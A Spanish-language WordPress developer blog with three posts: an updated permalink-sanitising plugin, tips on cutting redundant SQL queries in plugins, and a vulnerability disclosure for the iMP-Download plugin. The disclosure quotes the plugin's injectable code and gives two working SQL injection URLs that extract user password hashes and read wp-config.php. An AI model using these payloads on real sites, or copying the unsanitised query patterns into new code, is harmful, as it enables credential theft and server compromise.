Nueva versión del plugin “Permalink Fix”

Hace algún tiempo publiqué una versión alpha de un plugin que elimina todos los caracteres especiales de los permalinks (Ejm: ¿, !, etc). Si bien es cierto que este plugin hacía relativamente bien su trabajo, existía un bug en el para las entradas anteriores que contenían ese tipo de caracteres, devolvía una página de error (no encontrado).

Aprovechando el tiempo libre de estas fiestas de fin de año he corregido este bug, de modo que ahora el plugin sólo se ejecuta antes de guardar las entradas:

php:
<?php
/*
Plugin Name: Permalink Fix
Plugin URI: http://www.buayacorp.com/
Description: Elimina algunos caracteres especiales de las URLs de las entradas (Ejm: ¿, !, etc).
Author: Alexander Concha
Version: 0.1.2
Author URI: http://www.buayacorp.com/
*/


if (!defined('ABSPATH')) die;

// Based on sanitize_title_with_dashes method (wp-includes/formatting.php)
function custom_sanitize_title_with_dashes($title) {
        $title = strip_tags($title);
        // Preserve escaped octets.
        $title = preg_replace('|%([a-fA-F0-9][a-fA-F0-9])|', '---1---', $title);
        // Remove percent signs that are not part of an octet.
        $title = str_replace('%', '', $title);
        // Restore octets.
        $title = preg_replace('|---([a-fA-F0-9][a-fA-F0-9])---|', '%1', $title);

        $title = remove_accents($title);

        if (function_exists('mb_strtolower') && seems_utf8($title)) {
                $title = mb_strtolower($title, 'UTF-8');
        } else {
                $title = strtolower($title);
        }

        $title = preg_replace('/&.+?;/', '', $title); // kill entities
        $title = preg_replace('/[^%a-z0-9 _-]/', '', $title);

        $title = preg_replace('/[\s-]+/', '-', $title);
        $title = trim($title, '-');

        return $title;
}

function __enable_fix($post_name) {
        remove_filter('sanitize_title', 'sanitize_title_with_dashes');
        add_filter('sanitize_title', 'custom_sanitize_title_with_dashes');

        return $post_name;
}

add_filter('pre_post_name', '__enable_fix');
?>

Si por azares del destino alguien está usando este plugin 😀 , es recomendable que actualicen para evitar este molesto error. Pueden descargar la actualización desde este blog o desde mi repositorio temporal de código.

Tip: Optimización de consultas SQL en plugins de WordPress

Durante el tiempo que no hubo actividad alguna en este blog y por algunos trabajos que me encomendaron relacionados al desarrollo de plugins y modificación del código de WordPress, he visto algo que se repite casi en todos los plugins que he visto hasta el momento: usan varias consultas pequeñas cuando sólo una puede hacer el trabajo (no tengo idea de porqué hacen las cosas de ese modo).

php:
$a = query("select ID from tabla1 ...");
$b = array();
foreach($a as $v) {
        $b[] = query("select ... from tabla2 where ID = $v");
}

El problema del código mostrado es que se hacen consultas innecesarias a la base de datos cuando en este caso un simple JOIN serviría para el mismo propósito.

Como ejemplo voy a poner dos plugins que acompañaron a este blog desde hace más de un año y por los que el número de consultas SQL aunmentaba en 55 para generar la página principa. Éstos son:

  • Real Fast Latest Comments: En este caso el plugin realiza una consulta para obtener las entradas que recibieron comentarios recientemente y luego itera para mostrar los datos devueltos:

    php:
    function rflc_show_comments($comment_limit = 5, $show_trackbacks = false) {
            global $wpdb;

            if(!$show_trackbacks) {
                    $activity = $wpdb->get_results("SELECT $wpdb->comments.comment_date, $wpdb->comments.comment_author,
                                                    $wpdb->comments.comment_ID, $wpdb->posts.post_title,
                                                    $wpdb->posts.ID FROM $wpdb->comments INNER JOIN
                                                    $wpdb->posts ON $wpdb->posts.ID = $wpdb->comments.comment_post_ID WHERE
                                                    $wpdb->comments.comment_approved = '1' AND $wpdb->comments.comment_type
                                                    NOT LIKE '%back%' ORDER BY $wpdb->comments.comment_date DESC
                                                    LIMIT $comment_limit");
            } else {
                    $activity = $wpdb->get_results("SELECT $wpdb->comments.comment_date, $wpdb->comments.comment_author,
                                                    $wpdb->comments.comment_ID, $wpdb->posts.post_title,
                                                    $wpdb->posts.ID FROM $wpdb->comments INNER JOIN
                                                    $wpdb->posts ON $wpdb->posts.ID = $wpdb->comments.comment_post_ID WHERE
                                                    $wpdb->comments.comment_approved = '1'
                                                    ORDER BY $wpdb->comments.comment_date DESC
                                                    LIMIT $comment_limit");
            }
           
            if($activity) {
                    echo '<ul>';
                    foreach($activity as $comment) {
                            echo '<li>'.wp_specialchars($comment->comment_author).' en: <a href="'. get_permalink($comment->ID) .'#comment-'. $comment->comment_ID .'">'. wp_specialchars($comment->post_title) .'</a></li>' . "\n";
                    }
                    echo '</ul>';
            }
    }

    El problema en este caso es que para mostrar el enlace (permalink) de una entrada, el plugin invoca en cada iteración a la función get_permalink, la misma que hace una nueva consulta (o varias dependiendo de la estructura de permalinks) para recuperar la entrada y formatear el enlace, esto pasa siempre y cuando el argumento pasado no sea un objeto o la entrada ya se encuentre en la caché de objetos.

  • Related Posts: El problema es el mismo que se comenta en el anterior, a continuación muestro la parte relevante:

    php:
    $sql = "SELECT ID, post_title, post_content,"
             . "MATCH (post_name, post_content) "
             . "AGAINST ('$terms') AS score "
             . "FROM $wpdb->posts WHERE "
             . "MATCH (post_name, post_content) "
             . "AGAINST ('$terms') "
             . "AND post_date <= '$now' "
             . "AND (post_status IN ( 'publish',  'static' ) && ID != '$post->ID') ";
    if ($show_pass_post=='false') { $sql .= "AND post_password ='' "; }
    $sql .= "ORDER BY score DESC LIMIT $limit";
    $results = $wpdb->get_results($sql);
    $output = '';
    if ($results) {
            foreach ($results as $result) {
                    $title = stripslashes(apply_filters('the_title', $result->post_title));
                    $permalink = get_permalink($result->ID);
                    $post_content = strip_tags($result->post_content);
                    $post_content = stripslashes($post_content);
                    $output .= $before_title .'<a href="'. $permalink .'" rel="bookmark" title="Permanent Link: ' . $title . '">' . $title . '</a>' . $after_title;

                    if ($show_excerpt=='true') {
                            $words=split(" ",$post_content);
                            $post_strip = join(" ", array_slice($words,0,$len));
                            $output .= $before_post . $post_strip . $after_post;
                    }
            }
            echo $output;
    }

Para evitar este comportamiento pero con algunas posibles consecuencias no deseadas**, se debe recuperar también el campo post_name en la primera consulta de ambos casos y a continuación invocar a la función get_permalink con un objeto como parámetro -- get_permalink($comment); y get_permalink($result); respectivamente.

**: Al usar la función get_permalink con un objeto como parámetro, éste se almacena en el caché de objetos y cualquier función que haga uso de get_post puede mostrar entradas "incompletas". Una forma de evitar esto es recuperar todos los campos de la tabla posts o quitar la entrada almacenada en cache luego de invocar a la función get_permalink.

Eviten el uso del plugin iMP-Download para WordPress

Esta entrada que escribí meses atrás iba a quedar como borrador, pero visto las repercusiones en blogs hispanos sobre un supuesto nuevo problema de seguridad de WordPress, publico esta entrada porque el sitio afectado usaba este plugin -- no tengo idea si esto tiene relación con el ataque que sufrió.

En las primeras líneas del plugin iMP-Download, se puede apreciar el siguiente código:

php:
<?php
/*
Plugin Name: iMP Download
Version: 1.4.1
Plugin URI: http://www.inmypad.com/2007/01/wordpress-plugins-imp-download/
Author: Hardi P
Author URI: http://www.inmypad.com/
Description: Download manager for wordpress user featuring download count, force download, quicktag, members only, widgets, etc. Integrated with search engine to find your downloads easily and pagination on download list.
*/


if (isset($_GET['dl'])) {
        global $wpdb, $table_prefix;
       
        // require_once('../../../wp-blog-header.php');
        $option = get_option('iMP_Download_Option');
       
        $user_login = $_COOKIE['wordpressuser_' . COOKIEHASH];

        if ($option['dl_mo'] == 1 && !$user_login) {
                $login = get_settings('siteurl') . '/wp-login.php';
        ?>
                script type="text/javascript">
                        var mo = confirm("Guest are not allowed to download!" + "\n" + "Press 'OK' to login/register or press 'CANCEL' to go back.")
                        if (mo == true) {
                                window.location = "<?php echo $login; ?>";
                    } else {
                                window.location = document.referrer;
                        }
                </script
        <?php
                exit();
        }
       
        $dl_id = $_GET['dl'];
        $table_name = $table_prefix . 'imp_download';
       
        $wpdb->query("UPDATE $table_name SET dl_count=dl_count+1 WHERE dl_id='$dl_id'");
       
        $url = "SELECT dl_url FROM $table_name WHERE dl_id = $dl_id";
        $file = $wpdb->get_var($url);

        $file = str_replace(' ','%20',$file);
        $filename = basename($file);
       
        $mimetype = 'application/octet-stream'// Set mime-type
        header("Pragma: "); // Leave blank for issues with IE
        header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
        header("Content-Type: $mimetype");
        if ($option['dl_fd'] == 1) {
                if (ini_get('allow_url_fopen') == 0 && !function_exists('curl_init')) {
                        header('Location: '.$file.''); // Switch to normal download mode if allow_url_fopen is disabled and cURL is not available
                } else {
                        header('Content-Disposition: attachment; filename='.basename($filename)); // Force download activated
                }
               
                if (ini_get('allow_url_fopen') == 1) {
                        $file = fopen($file, "rb");
                        fpassthru($file);
                        exit();
                } elseif (function_exists('curl_init')) {
                        $ch = curl_init();
                        curl_setopt($ch, CURLOPT_URL, $file);
                        curl_setopt($ch, CURLOPT_HEADER, 0);
                        curl_exec ($ch);
                        curl_close ($ch);
                        exit();
                }
        } else {
                header('Location: '.$file.''); // Force download deactivated
                exit();
        }
}

Como se puede apreciar en las líneas 34 y 39, el parámetro dl no es validado adecuadamente; ésto permite que cualquier usuario pueda realizar ataques de inyección de SQL y hacer muchas cosas como:

code:
* Obtener el usuario y contraseña de cualquier usuario
http://localhost/wp/?dl=0/**/UNION/**/ALL/**/SELECT/**/concat(user_login,0x2d,user_pass)/**/FROM/**/wp_users/**/WHERE/**/ID=1

* Si allow_url_fopen está habilitado, existe la posibilidad de descargar cualquier archivo del servidor (./wp-config.php)
http://localhost/wp/?dl=0/**/UNION/**/ALL/**/SELECT/**/0x2E2F77702D636F6E6669672E706870

Dada la gravedad del problema, es recomendable que desactiven -- o corrijan -- cuanto antes el mencionado plugin.